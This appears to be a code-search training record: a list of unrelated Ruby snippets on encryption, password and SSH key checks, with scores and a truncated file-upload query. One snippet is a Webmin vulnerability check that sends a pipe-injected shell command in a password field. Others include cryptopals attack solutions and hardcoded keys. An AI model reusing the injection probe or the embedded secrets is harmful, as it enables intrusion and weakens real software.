key.match?(/^\\$\\d\\$/)\n end", "def encryption_required?\n super\n end", "def host_key_verifier; end", "def valid\n if self.key\n key_pieces = self.key.split(\" \")\n small_key = key_pieces[0] + \" \" + key_pieces[1]\n #if small_key =~ /^(ssh-\\w+ [a-zA-Z0-9\\/\\+]+==?).*$/\n if small_key =~ /^(ssh-\\w+ [a-zA-Z0-9\\/\\+].*)$/\n return true\n else\n return false\n end\n else\n return false\n end\n end", "def validate_ssl_connection\n pubkey = @connection.http.peer_cert.public_key\n pubkey_hash = Digest::SHA2.hexdigest(pubkey.to_s)\n expected_pubkey_hash = @vsphere_expected_pubkey_hash\n if pubkey_hash != expected_pubkey_hash then\n raise Fog::Vsphere::Errors::SecurityError, \"The remote system presented a public key with hash #{pubkey_hash} but we're expecting a hash of #{expected_pubkey_hash || '<unset>'}. If you are sure the remote system is authentic set vsphere_expected_pubkey_hash: <the hash printed in this message> in ~/.fog\"\n end\n end", "def check_pw pw\n (encrypt pw) == (self[:password])\n end", "def ecb_encrypted?(cipher)\n line_parts = cipher.scan(/.{16}/)\n line_parts.detect { |e| line_parts.count(e) > 1 } ? true : false\nend", "def skip_password_encryption_and_validation?\n self.id and self.password.blank?\n end", "def verify_host_key_option\n current_net_ssh = Net::SSH::Version::CURRENT\n new_option_version = Net::SSH::Version[4, 2, 0]\n\n current_net_ssh >= new_option_version ? :verify_host_key : :paranoid\n end", "def verify_host_key_option\n current_net_ssh = Net::SSH::Version::CURRENT\n new_option_version = Net::SSH::Version[4, 2, 0]\n\n current_net_ssh >= new_option_version ? :verify_host_key : :paranoid\n end", "def valid?(iv, block)\n stdin.write(iv)\n stdin.write(block)\n stdin.flush\n\n stdout.read(1) == \"\\x00\"\n end", "def passphrase_required?\n true\n end", "def cifrar(mensaje,claveB)\n puts \"\\n\\n\"\n puts \"CIFRANDO MENSAJE\"\n puts \"----------------\"\n puts \"\\n\"\n #Si el tamaño de la clave y del mensaje son iguales se puede hacer\n \n mensajeB = pasarBinario(mensaje)\n \n if (mensajeB.length == claveB.length) then\n \n \n #xor se le pasara dos cadnas binarias devuelve Binario.\n resul = xor(mensajeB,claveB)\n \n puts \"Mensaje Original es: \" + mensaje\n puts \"Mensaje Original en binario: \" + mensajeB\n puts \"Longitud del mensaje en binario: \" + mensajeB.length.to_s\n \n \n puts \"---------------------------------------------\"\n \n puts \"Clave Original es: \" + pasar_cadena(claveB)\n puts \"Clave Original en binario: \" + claveB\n puts \"Longitud de la clave binario: \" + claveB.length.to_s\n \n puts \"---------------------------------------------\"\n \n \n puts \"Mensaje cifrado: \" \n puts pasar_cadena(resul)\n puts \"Mensaje cifrado en binario: \" + resul\n puts \"Longitud mensaje cifrado binario: \" + resul.length.to_s\n \n return resul\n \n else \n puts \"NO PODEMOS CIFRAR CLAVE Y EL MENSAJE NO ES DEL MISMO TAMAÑO\"\n end\n end", "def create\n\n data = secret_params\n \n plaintext = data[:message]\n key = data[:key]\n errors = []\n\n \n errors.append([:message, \"must consist of only ASCII characters\"]) if !plaintext.ascii_only?\n errors.append([:key, \"must consist of only ASCII characters\"]) if !key.ascii_only?\n errors.append([:message, \"can't be blank\"]) if plaintext.blank?\n errors.append([:key, \"can't be blank\"]) if key.blank?\n\n algorithm = data[:algorithm].to_i\n\n if errors.empty?\n ciphertext = CriptoAlgorithms.encrypt(algorithm,plaintext,key)\n @secret = Secret.new({ciphertext: ciphertext, algorithm: algorithm, user_id: current_user.id})\n else\n @secret = Secret.new({ciphertext: \"\", algorithm: algorithm})\n for e in errors do @secret.errors.add(e[0], e[1]) end\n end \n\n respond_to do |format|\n if errors.empty? && @secret.save\n format.html { redirect_to @secret, notice: 'El secreto se creó correctamente.' }\n format.json { render :show, status: :created, location: @secret }\n else\n format.html { render :new }\n format.json { render json: @secret.errors, status: :unprocessable_entity }\n end\n end\n end", "def challenge27(oracle, verify_proc)\n ciphertext = oracle.call(?A * 48)\n guess = nil\n begin\n verify_proc.call(ciphertext[0, 16] + (\"\\x00\" * 16) + ciphertext)\n rescue InvalidPlaintextException => error\n guess = CryptUtil.xor(error.plaintext[0, 16], error.plaintext[32, 16])\n end\n guess\n end", "def secure_compare(value)\n a = self.secret\n b = value\n\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end", "def validate_env\n validate_keys :coinbase_key, :coinbase_address, :coinbase_secret\n end", "def decrypt; end", "def encrypt; end", "def validate\n\t\t#puts \"--- ENTRANDO A VALIDATE----- password, password_confirmation: #{password} - #{password_confirmation}\"\n\t\terrors.add('contrase&ntilde;a', 'y confirmaci&oacute;n no coinciden') unless password_confirmation == password\n\tend", "def check_encryption_cert_request\n return unless bank == :danske\n return unless [:create_certificate, :renew_certificate].include? command\n return if cert_request_valid?(encryption_csr)\n\n errors.add(:encryption_csr, ENCRYPTION_CERT_REQUEST_ERROR_MESSAGE)\n end", "def validate_env\n validate_keys :rock_key, :rock_username, :rock_password\n end", "def actualiza_atributos_con(hash, estado)\n # Validación de atributos de plaza, estado y rol.\n if hash[:rol_id].blank?\n self.errors.add(:rol, \"Rol no puede ir vacío\")\n elsif Rol.find(hash[:rol_id]).nombre.eql?(\"Encargado\")\n if hash[:plaza_id].blank?\n self.errors.add(:plaza, \"Plaza no puede ir vacía\")\n end\n if estado.blank?\n self.errors.add(:estado, \"Estado no puede ir vacío\")\n end\n end\n \n return false unless self.errors.empty?\n self.update_attributes(hash.merge({:password => \"cablecom_#{hash[:login]}\", :password_confirmation => \"cablecom_#{hash[:login]}\"}))\n end", "def valid_keys?(passport)\n (REQ - passport.keys).length === 0\n end", "def letsencrypt_verify\n render body: 'ZfWSZ-8jDoGc8OenfP8JC79QPITHFU6BH9YPvVabGd8.f7vLMOThcyEXB9qAI5BSN_yaTVOEKeyNNW23TFYNCRA'\n end", "def paddingoracle(ciphertext)\n plainbytes = decryptRSAstring(ciphertext, PrivateKey)\n return true if ( (plainbytes[0] == 0) and (plainbytes[1] == 2) )\n return false\nend", "def test_icvc13_pass_A_returns_false\r\n\t\tassert_equal(false, isbn13_checksum_valid_character?(\"A\"))\r\n\tend", "def valid_key(key)\n valid_rsa_key(key) && (key['x5c']&.length || (key['n'] && key['e']))\n end", "def can_decrypt?\n false\n end", "def decrypt(encrypted)\n return nil unless encrypted =~ /Validation: (.*?)\\n(.*)\\n\\*\\*\\*/m\n begin\n decipher = OpenSSL::Cipher.new(\"AES-128-CBC\")\n decipher.decrypt\n # puts \"**** $1=#{$1}, $2=#{$2}\"\n decipher.key = EMAIL_KEY\n decipher.iv = Base64.decode64($1)\n encrypted_data = Base64.decode64($2)\n # puts \"**** decipher.iv=#{Base64.encode64 iv}\"\n # puts \"**** encrypted=#{Base64.encode64 encrypted}\"\n return decipher.update(encrypted_data) + decipher.final \n rescue\n return nil\n end \n end", "def test_icvc_pass_A_returns_false\r\n\t\tassert_equal(false, isbn10_checksum_valid_character?(\"A\"))\r\n\tend", "def password_check\n return self.encrypted_password==BCrypt::Engine.hash_secret(self.password_verify, self.salt)\n end", "def validateParams \r\n\t \r\n\t \tif !@data.nil? && !@key.nil? && !@cipher.nil?\r\n\t\t\treturn true\r\n\t \telse\r\n\t\t\treturn false \t\r\n\t \tend\r\n\t \t\r\n\t end", "def descifrar(mCifradoB,claveB)\n \n puts \"\\n\\n\"\n puts \"DESCIFRANDO MENSAJE\"\n puts \"------------------\"\n puts \"\\n\"\n #Si el tamaño de la clave y del mensaje son iguales se puede hacer\n \n \n if (mCifradoB.length == claveB.length) then\n \n mCifradoC = pasar_cadena(mCifradoB)\n resul = xor(mCifradoB,claveB)\n \n puts \"Mensaje Cifrado es: \" + mCifradoC\n puts \"Mensaje Cifrado en binario: \" + mCifradoB\n puts \"Longitud del mensaje en binario: \" + mCifradoB.length.to_s\n \n puts \"---------------------------------------------\"\n \n claveC = pasar_cadena(claveB) \n puts \"Clave Original es: \" + claveC\n puts \"Clave Original en binario: \" + claveB\n puts \"Longitud de la clave binario: \" + claveB.length.to_s\n \n puts \"---------------------------------------------\"\n \n puts \"Mensaje descifrado: \" \n puts pasar_cadena(resul)\n puts \"Mensaje descifrado en binario: \" + resul\n puts \"Longitud mensaje descifrado binario: \" + resul.length.to_s\n \n #resultado en binario\n return resul\n \n else \n puts \"NO PODEMOS DECIFRAR CLAVE Y EL MENSAJE NO ES DEL MISMO TAMAÑO\"\n end\n end", "def authorized?(encrypted_string)\n\n \tend", "def should_encrypt_password\n @encrypt_password_flag || false\n end", "def verified?\n key == '1'\n end", "def select_host_key_verifier(paranoid)\n case paranoid\n when true, nil\n ::Net::SSH::Verifiers::Lenient.new\n when false\n ::Net::SSH::Verifiers::Null.new\n when :very\n ::Net::SSH::Verifiers::Strict.new\n when :secure\n ::Net::SSH::Verifiers::Secure.new\n else\n if paranoid.respond_to?(:verify)\n paranoid\n else\n raise ArgumentError, \"argument to :paranoid is not valid: #{paranoid.inspect}\"\n end\n end\n end", "def test_challenge_26\n idx = f1(\"\").\n bytes.\n zip(f1(\"A\").bytes).\n each_with_index do |(l, r), index|\n break index if l != r\n end\n\n p1 = \"XadminXtrue\"\n c1 = f1(p1)\n refute admin?(c1)\n\n ksb0 = p1[0].ord ^ c1[idx].ord\n ncb0 = ksb0 ^ \";\".ord\n c1[idx] = ncb0.chr\n\n ksb6 = p1[6].ord ^ c1[idx + 6].ord\n ncb6 = ksb6 ^ \"=\".ord\n c1[idx + 6] = ncb6.chr\n\n assert admin?(c1)\n end", "def has_password?(password_soumis)\n # Compare encrypted_password avec la version cryptée de password_soumis.\n encrypted_password == encrypt(password_soumis)\n end", "def is_encarcelado\n return @encarcelado\n end", "def decrypt_and_verify(value)\n ::JSON.parse(\n @box.decrypt(\n Base64.urlsafe_decode64(value)),\n symbolize_names: true)\n rescue RbNaCl::CryptoError\n raise InvalidMessage\n end", "def ssh_do_verify(sig, data, options = T.unsafe(nil)); end", "def ssh_do_verify(sig, data, options = T.unsafe(nil)); end", "def ssh_do_verify(sig, data, options = T.unsafe(nil)); end", "def crypt(p0) end", "def challenge_password?\n !read_attributes_by_oid('challengePassword').nil?\n end", "def valid_password?; end", "def not_valid?\n tst = @potential_key.split('')\n\n tst.each do |check|\n if @@low_alpha[check].nil? && @@up_alpha[check].nil?\n @result = true\n break\n else \n @result = false\n @valid_key = @potential_key\n end\n end\n\n @result\n end", "def challenge25(ciphertext, edit_proc)\n CryptUtil.xor(ciphertext, edit_proc.call(0, \"\\x00\" * ciphertext.bytesize))\n end", "def aes_key\n self.encrypted_data_will_change!\n \"dfdsdsfsdfsdfwefsdfds\"\n end", "def creating_vault_validation_length(params)\n if params[\"Username\"].length > 0 and params[\"Password\"].length > 0\n return true\n else \n return false\n end \n end", "def has_password?(password_soumis)\n\t\t# Compare encrypted_password avec la version cryptée de password_soumis.\n encrypted_password == encrypt(password_soumis)\n end", "def valid_key?(key)\n return false unless key.is_a?(String)\n return false unless key = encoded_key(key)\n key.length >= 2 && key.length <= 255 && (key !~ BAD_KEY_RE rescue false)\n end", "def verify(msg)\n \t\t\t\tbegin\n \t\t\t\t\tx,y,z,cmd,sig,iv = msg.split(/\\|/)\n \t\t\t\t\treturn nil unless iv\n \t\t\t\t\tdigest = Digest::MD5.hexdigest(cmd+iv).upcase\n \t\t\t\t\tsb1 = [@signature_block + digest].pack(\"h*\")\n \t\t\t\t\tsb2 = @signingkey_pub.public_decrypt([sig].pack(\"h*\"))\n \t\t\t\t\treturn nil unless sb1 == sb2\n \t\t\t\t\tcmd\n \t\t\t\trescue NoMethodError\n \t\t\t\t\tputs \"verify exception: #{msg}\"\n \t\t\t\tend\n \t\t\tend", "def validate_client\n\n return invalid_credentials_response('a_ar_b_vc_1') unless @client.present?\n\n return invalid_credentials_response('a_ar_b_vc_2') if\n @client.status != GlobalConstant::Client.active_status\n\n r = decrypt_api_secret\n\n return error_with_identifier('internal_server_error', 'a_ar_b_vc_4') unless r.success?\n\n # Note: internal code for this error is same for client not present\n return invalid_credentials_response('a_ar_b_vc_1') unless generate_signature == @signature\n\n success\n end", "def check_encryption(encryption)\n return unless encryption\n\n case encryption.downcase.to_sym\n when :ssl, :simple_tls\n :simple_tls\n when :tls, :start_tls\n :start_tls\n end\n end", "def encrypted?\r\n if @encrypted\r\n return true\r\n else\r\n return false\r\n end\r\n end", "def create\n @Empresa = Empresa.new(empresa_params)\n @Empresa.pass=@Empresa.pass.encrypt\n respond_to do |format|\n if @Empresa.save\n format.html { render json: {id:@Empresa.id}}\n else\n #p @Empresa.errors\n format.html { render json: {errores:@Empresa.errors}}\n end\n end\n end", "def validate\n return false unless check_structure\n return false unless check_length\n return false unless check_chars\n\n if checksum_char == \"X\" || checksum_char == \"x\"\n return checksum == 10\n else\n return checksum == checksum_char.to_i\n end\n end", "def postConditionalGLSConnection\n# 4A107\n dataProtection = DataProtection.new\n result = (dataProtection.checkDataEncrypted('cougaar') >= 100)\n saveResult(result, \"4a107\", \"no persisted data encrypted if dataprotection is not turned on\")\n#exit 0\n\n end", "def valid_api_key?(input_key)\n return false if encrypted_api_secret_key.blank?\n bcrypt = ::BCrypt::Password.new(encrypted_api_secret_key)\n key = ::BCrypt::Engine.hash_secret(\"#{input_key}#{User.pepper}\", bcrypt.salt)\n Devise.secure_compare(key, encrypted_api_secret_key)\n end", "def validate_certificate_ready_parameters(params)\n params[\"id\"] = params[\"tx_id\"] if !params[\"tx_id\"].nil?\n raise MissingTransactionId if params[\"id\"].to_s.length == 0\n raise InvalidTransactionId if !validate_transaction_id(params[\"id\"])\n raise MissingCertificateBase64 if params[\"certificate_base64\"].to_s.length == 0\n raise InvalidCertificateBase64 if !validate_certificate_base64(params[\"certificate_base64\"])\n return params\n end", "def vigenere_cipher(string, key_sequence)\n\nend", "def verify_server_key(key) # :nodoc:\n unless matching?(key.ssh_type, algorithms.host_key)\n raise Net::SSH::Exception, \"host key algorithm mismatch '#{key.ssh_type}' != '#{algorithms.host_key}'\"\n end\n\n blob, fingerprint = generate_key_fingerprint(key)\n\n unless connection.host_key_verifier.verify(key: key, key_blob: blob, fingerprint: fingerprint, session: connection)\n raise Net::SSH::Exception, 'host key verification failed'\n end\n end", "def validate_encrypted_message(encrypted_string)\n cmd_output = run_decrypt(encrypted_string)\n cmd_result = analyse_decrypt_output(*cmd_output)\n\n if cmd_result[:well_formed_pgp_data]\n match_constraints(**cmd_result)\n else\n msg_no_pgg_data(encrypted_string)\n end\n end", "def validate(passphrase)\n words = passphrase.split\n words == words.uniq\nend", "def checkKeys()\r\n\r\n data = nil\r\n if (@cafile.nil? || @cafile.empty? || !File.exists?(@cafile) || OpenSSL::X509::Certificate.new(File.read(@cafile)).nil?)\r\n raise SecurityError, \"CA Public key NOT OK!\"\r\n else\r\n _dprint(\"CA Public Key OK\")\r\n end\r\n\r\n if (@keyfile.nil? || @keyfile.empty? || !File.exists?(@keyfile) || OpenSSL::X509::Certificate.new(File.read(@keyfile)).nil?)\r\n raise SecurityError, \"Public key NOT OK!\"\r\n else\r\n _dprint(\"Public Key OK\")\r\n end\r\n\r\n if (!File.exists?(@keyfile) || OpenSSL::PKey::RSA.new(File.read(@keyfile), @keypass).nil?)\r\n raise SecurityError, \"Private key NOT OK!\"\r\n else\r\n _dprint(\"Private Key OK\")\r\n end\r\n\r\n end", "def encryption_oracle(input)\n #Hardcoded, secret string\n append = 'Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg'\n append << 'aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq'\n append << 'dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg'\n append << 'YnkK'\n append = append.unpack('m')\n\n str = input + append.join\n\n cipher = OpenSSL::Cipher.new('AES-128-ECB') \n cipher.encrypt \n cipher.key = 'O' * Blocksize;\n \n enc = cipher.update(str) + cipher.final\n #Hex encoded return\n return enc.unpack('H*').join\nend", "def passphrase_eql? pp\n passphrase.eql?(Digest::MD5.hexdigest(pp))\n end", "def validate_peer_data!(data)\n\t\t\t[:uuid,:host,:port].each{|k|\n\t\t\t\tdata[k] || fail(\"Peer data does not meet requirements. #{k} is a required field. See Hive documentation.\")\n\t\t\t}\n\t\t\tkeys = peer_fields.keys\n\t\t\tdata.keys.each{|k|\n\t\t\t\tkeys.include?(k) || warn(\"Provided key #{k} will not be stored with peer data\")\n\t\t\t}\n\t\t\ttrue\n\t\tend", "def create\n\n @usuario = User.new(usuario_params)\n contra = @usuario[:encrypted_password]\n puts contra\n @usuario[:encrypted_password] = Digest::SHA256.base64digest '#{contra}'\n puts @usuario[:encrypted_password]\n\n respond_to do |format|\n if @usuario.save\n\n format.html { redirect_to @usuario, notice: 'Usuario was successfully created.' }\n format.json { render :show, status: :created, location: @usuario }\n\n else\n format.html { render :new }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n end\n end", "def validate_all_values\n if(contains_sensitive_data && !behind_firewall)\n raise_error(\"only machines behind firewalls can contain sensitive data\")\n end\n end", "def no_password?\n encrypted_password.blank?\n end", "def encrypt_secret\n return if @secret.to_s.empty?\n self.crypted_secret = Password.create(@secret)\n end", "def read_encrypted_secrets=(_arg0); end", "def read_encrypted_secrets=(_arg0); end", "def verify_sig(data, sig, pubkey, algo: :ecdsa)\n case algo\n when :ecdsa\n verify_ecdsa(data, sig, pubkey)\n when :schnorr\n verify_schnorr(data, sig, pubkey)\n else\n false\n end\n end", "def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end", "def validate_code\n \n # Don't validate in dev mode\n return true if Rails.env==\"development\"\n \n begin\n \n id = params[:key].to_s.split(\"-\")[0]\n code = params[:key].to_s.split(\"-\")[1]\n \n @version = params[:version].to_i\n \n @api_key = ApiKey.find( id )\n if ( @api_key && @api_key.enabled? && @api_key.code==code )\n return true\n else\n reject and return false\n end\n \n rescue\n reject and return false\n end\n \n end", "def valid_rem?(test_tok)\n ret = false\n remember_hash.values.each do |correct_rem|\n ret = true if Encrypt::Password.validatePassword test_tok, correct_rem\n end\n ret\n end", "def corrupt?\n checksum_invalid? || torn? || misplaced?\n end", "def verify(_password, _encoded)\n raise NotImplementedError\n end", "def client_proof(key, signature)\n @client_proof ||= Base64.strict_encode64(xor(key, signature))\n end", "def has_password?( submitted_password )\n encrypted_password == encrypt( submitted_password )\n end", "def check\n # check passwd change priv\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, \"password_change.cgi\"),\n 'headers' =>\n {\n 'Referer' => \"#{peer}/session_login.cgi\"\n },\n 'cookie' => \"redirect=1; testing=1; sid=x; sessiontest=1\"\n })\n\n if res && res.code == 200 && res.body =~ /Failed/\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'cookie' => \"redirect=1; testing=1; sid=x; sessiontest=1\",\n 'ctype' => 'application/x-www-form-urlencoded',\n 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),\n 'headers' =>\n {\n 'Referer' => \"#{peer}/session_login.cgi\"\n },\n 'data' => \"user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss\" \n })\n\n if res && res.code == 200 && res.body =~ /password_change.cgi/\n return CheckCode::Vulnerable\n else\n return CheckCode::Safe\n end\n else\n return CheckCode::Safe\n end\n end", "def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end", "def test_non_canonical\n verify(\n 'f8f681900001000200030005076578616d706c6503636f6d0000010001c00c0001000100014f0c00045db8d822c00c002e000100014f0c00a20001080200015180580ec93f57f38df906a8076578616d706c6503636f6d006ae1882b1536a15c44f5813671af57bf9cae0366cff2ec085d6dedfddff0c469fa827ceec953de7cc1eee634f4cf695dc2caa2074f95199a5582e51e63b336d8f091d18c0c1a307ae3f5508ec650c4085a95e54e2c2451d9fc9ae04b4e62f3d1a1689e9507c3692fb84817a70afd3e9cdf066f73cc4ac11ed080a30d2af31510b457b5c04b0002000100014f0c001401620c69616e612d73657276657273036e657400c04b0002000100014f0c00040161c0e9c04b002e000100014f0c00a2000208020001518058109f4c57f56c1906a8076578616d706c6503636f6d006d8dd0fdbd0a0b0bfe7e4306a4a001bb7a13df2faedb1702a329243c326b915191335e99e16a236de99360547efa96ec6ee547a6dcfab94b57de6f7891bcaf99a2ef5d3c72d5bc18d1bf05ff4473f527bd8f2e6621489ab531dfb6a973e37e0f0be52740a362599058b204097a04c96492e527bfca6a22338eb865b51156c2ab0e6940c10700010001000004940004c72b8735c107001c00010001e209001020010500008f00000000000000000053c0e700010001000004940004c72b8535c0e7001c00010001e209001020010500008d000000000000000000530000291000000080000000')\n end", "def decypt_and_verify(passphrase)\n decrypted_message = decrypt(passphrase)\n\n expected = Digest::SHA256.digest(decrypted_message)\n raise SlyErrors::StateError, \"Failed SHA-256 checksum\" unless expected == Base64.decode64(message_hash)\n\n decrypted_message\n end", "def valid_pass?(test_pass)\n Encrypt::Password.validatePassword test_pass, password\n end", "def read_safe\n pwdata_enc_base64 = File.read(@pwfile)\n pwdata_encrypted = pwdata_enc_base64.unpack('m')[0] # fix for Ruby 1.9 also works with 1.8\n # was: unpack('m*').to_s\n # the cryptographic initialization vector is the first 32 chars of the unpacked string\n Encryptor.iv = pwdata_encrypted[0...32]\n pwdata_encrypted = pwdata_encrypted[32..-1]\n @pwdata = Encryptor.decrypt(pwdata_encrypted, @pwhash)\n end" ]
[ "0.6590535", "0.6400664", "0.61028624", "0.5937549", "0.59350425", "0.5879187", "0.5879187", "0.57978594", "0.5719973", "0.5634549", "0.56228495", "0.5614995", "0.5584627", "0.5576075", "0.5543845", "0.5482864", "0.547931", "0.5472266", "0.5456521", "0.54185504", "0.5412478", "0.54110783", "0.539564", "0.5386643", "0.5375178", "0.5370822", "0.53537697", "0.532841", "0.5323048", "0.53031456", "0.5291532", "0.528248", "0.52704877", "0.5269256", "0.52646476", "0.52564913", "0.524778", "0.5213554", "0.52041966", "0.5197982", "0.5188843", "0.5188129", "0.5181498", "0.5163079", "0.5155565", "0.51528627", "0.51512456", "0.5148872", "0.51436013", "0.51160777", "0.5106206", "0.51027536", "0.51027536", "0.51027536", "0.5073143", "0.5070194", "0.50553405", "0.5053583", "0.5042687", "0.5042529", "0.5038374", "0.50267476", "0.50259584", "0.50089085", "0.49966007", "0.49932313", "0.49891433", "0.49786752", "0.49738783", "0.4961537", "0.49606252", "0.49595052", "0.49563494", "0.49557662", "0.4955079", "0.49548644", "0.4944515", "0.4937577", "0.49362847", "0.49255326", "0.4913221", "0.49041754", "0.4901741", "0.49003813", "0.48998964", "0.48998964", "0.4897893", "0.4892031", "0.4886089", "0.48850146", "0.4880775", "0.48771608", "0.48739785", "0.48737025", "0.48722103", "0.48713452", "0.48704404", "0.4870144", "0.4870085", "0.4869717" ]
0.69328207
0
upload a file without multipart local_file is the full absolute local filename destination should be the full remote file path, including the file name.
def upload_file(deployment_id, id, local_file, destination, params={}) if destination.empty? || destination == "/" || destination == "." || destination.include?("../") raise "#{self.class}.upload_file() passed a bad destination: '#{destination}'" end # url = "#{@base_url}/#{base_path}/#{deployment_id}/versions/#{id}/files" url = "#{base_path}/#{deployment_id}/versions/#{id}/files" if !destination.to_s.empty? url += "/#{destination}" end # use URI to escape path uri = URI.parse(url) url = uri.path # params[:filename] = File.basename(destination) if !local_file.kind_of?(File) local_file = File.new(local_file, 'rb') end payload = local_file headers = {'Content-Type' => 'application/octet-stream'} headers['Content-Length'] = local_file.size # File.size(local_file) execute(method: :post, url: url, headers: headers, payload: payload, params: params, timeout: 172800) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def upload_file(remote, local)\n write_file(remote, ::File.read(local))\n end", "def upload!(local, remote, options = {}) # rubocop:disable Lint/UnusedMethodArgument\n end", "def upload(local, remote = nil, opts={})\n remote ||= File.split(local).last\n remote = expand_path remote\n ssh.scp.upload!(local, remote, opts)\n end", "def upload_file(remote_filepath, remote_filename, local_filedata = null)\r\n magic_code = \"\\xdd\\xdd\"\r\n opcode = [6].pack('L')\r\n\r\n # We create the filepath for the upload, for execution it should be \\windows\\system32\\wbem\\mof\\<file with extension mof!\r\n file = \"..\\\\..\\\\\" << remote_filepath << remote_filename << \"\\x00\"\r\n pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4\r\n\r\n # Magic_code + packing + size\r\n pkt = magic_code << \"AAAAAAAAAAAA\" << [pkt_size].pack('L')\r\n\r\n tmp_pkt = opcode << file\r\n tmp_pkt += \"\\x00\"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata\r\n pkt << tmp_pkt\r\n\r\n print_status(\"Starting upload of file #{remote_filename}\")\r\n connect\r\n sock.put(pkt)\r\n disconnect\r\n\r\n print_status(\"File uploaded\")\r\n end", "def upload_file local_source, remote_dest, options = {}\n add [local_source, remote_dest], check_file(remote_dest)\n chmod options[:perms], remote_dest if options[:perms]\n chown options[:owner], remote_dest if options[:owner]\n end", "def upload(local, remote, mode = 0o644)\n file.open(remote, 'w', mode) { |io| io.upload(local) }\n end", "def upload!(local, remote, options={}, &block)\n upload(local, remote, options, &block).wait\n end", "def upload(locals, remote)\n unless file(remote).directory?\n raise TransportError, \"#{self.class} expects remote directory as second upload parameter\"\n end\n\n Array(locals).each do |local|\n new_content = File.read(local)\n remote_file = File.join(remote, File.basename(local))\n\n logger.debug(\"Attempting to upload '#{local}' as file #{remote_file}\")\n\n file(remote_file).content = new_content\n end\n end", "def upload!(_local, _remote, _options = {}) raise MethodUnavailableError end", "def upload(remote_path, contents)\n end", "def upload(local_path, dest_path)\n local_file_name = File.basename local_path\n dest_dir_name = File.dirname dest_path\n ssh.send_file local_path, \"/tmp/#{local_file_name}\"\n ssh.exec! \"mkdir --parents #{dest_dir_name}\", sudo: true\n ssh.exec! \"mv /tmp/#{local_file_name} #{dest_path}\", sudo: true\n return dest_path\n end", "def upload_file(local_file, remote_folder='', storage_type='Aspose', storage_name='')\n\n begin\n\n raise 'Local file not specified' if local_file.empty?\n\n if storage_type == 'Aspose'\n\n filename = File.basename(local_file)\n\n if remote_folder.empty?\n struri = $product_uri + '/storage/file/' + filename\n else\n struri = $product_uri + '/storage/file/' + remote_folder + '/' + filename\n end\n\n signeduri = Aspose::Cloud::Common::Utils.sign(struri)\n\n else\n\n filename = File.basename(local_file)\n\n if remote_folder.empty?\n struri = $product_uri + '/storage/file/' + filename + '?storage=' + storage_name\n else\n struri = $product_uri + '/storage/file/' + remote_folder + '/' + filename + '?storage=' + storage_name\n end\n\n signeduri = Aspose::Cloud::Common::Utils.sign(struri)\n\n end\n\n Aspose::Cloud::Common::Utils.upload_file_binary(local_file, signeduri)\n\n rescue Exception => e\n print e\n end\n end", "def upload(local, remote)\n local = Pathname.new(local) unless local.kind_of? Pathname\n raise \"no file\" unless local.exist?\n\n # we assume these are small enough to slurp.\n script = local.read\n limitkeys = [:method, :path, :script, @itemkey]\n remote = remote.select{|k,v| limitkeys.include? k }\n remote[:script] = script\n# post('', remote)\n if remote.has_key? @itemkey then\n put('/' + remote[@itemkey], remote) do |request, http|\n response = http.request(request)\n case response\n when Net::HTTPSuccess\n #return JSON.parse(response.body)\n when Net::HTTPNotFound\n verbose \"\\tDoesn't exist, creating\"\n post('/', remote)\n else\n showHttpError(request, response)\n end\n end\n else\n verbose \"\\tNo itemkey, creating\"\n post('/', remote)\n end\n end", "def copy_to_remote(local_file, remote_path)\n\t\t@ssh_session.scp.upload! local_file, remote_path\n\tend", "def upload(local, remote, options={})\n ssh.upload(local, remote, options)\n end", "def put(local_file, remote_file=nil)\n remote_file = remote_file.nil? ? File.basename(local_file) : remote_file\n @logger.debug(sprintf('scp from host[%s] to VM[%s]', local_file, remote_file))\n\n raise FileTransferError.new(sprintf('unable to put[%s], local file does not exist', local_file)) unless File.file?(local_file)\n\n begin\n @ssh.scp.upload!(local_file, remote_file)\n rescue => e\n raise FileTransferError.new(sprintf('unable to put[%s], exception[%s]', local_file, e.message()))\n end\n\n return true\n end", "def upload_file(server_or_workers, local_file, remote_file)\n case server_or_workers\n when :server\n raise 'Server node is nil' unless @os_aws.server\n\n return @os_aws.server.upload_file(local_file, remote_file)\n when :worker\n raise 'Worker list is empty' if @os_aws.workers.empty?\n\n return @os_aws.workers.each { |w| w.upload_file(local_file, remote_file) }\n end\n end", "def upload(local, remote, options={}, &block)\n Operations::Upload.new(self, local, remote, options, &block)\n end", "def upload(locals, remote) # rubocop:disable Lint/UnusedMethodArgument\n raise ClientError, \"#{self.class}#upload must be implemented\"\n end", "def upload(locals, remote)\n # evaluate $env:temp on Windows\n real_remote = remote.to_s == \"\\$env:TEMP\\\\kitchen\" ? kitchen_temp : remote\n FileUtils.mkdir_p(real_remote)\n Array(locals).each do |local|\n FileUtils.cp_r(local, real_remote)\n end\n end", "def upload_local(path, **opt)\n File.open(path) do |io|\n file_attacher.attach(io, **opt)\n end\n rescue => error\n __output \"!!! #{__method__}: #{error.class}: #{error.message}\"\n raise error\n end", "def upload(http_post_url, remote_folder, local_file)\n $log.info \"curl -F file=@#{local_file} -F directory=#{remote_folder} #{http_post_url}\"\n return system(\"curl -F file=@#{local_file} -F directory=#{remote_folder} #{http_post_url}\")\nend", "def upload_remote(url, **opt)\n # @type [Down::ChunkedIO] io\n io = Down.open(url, 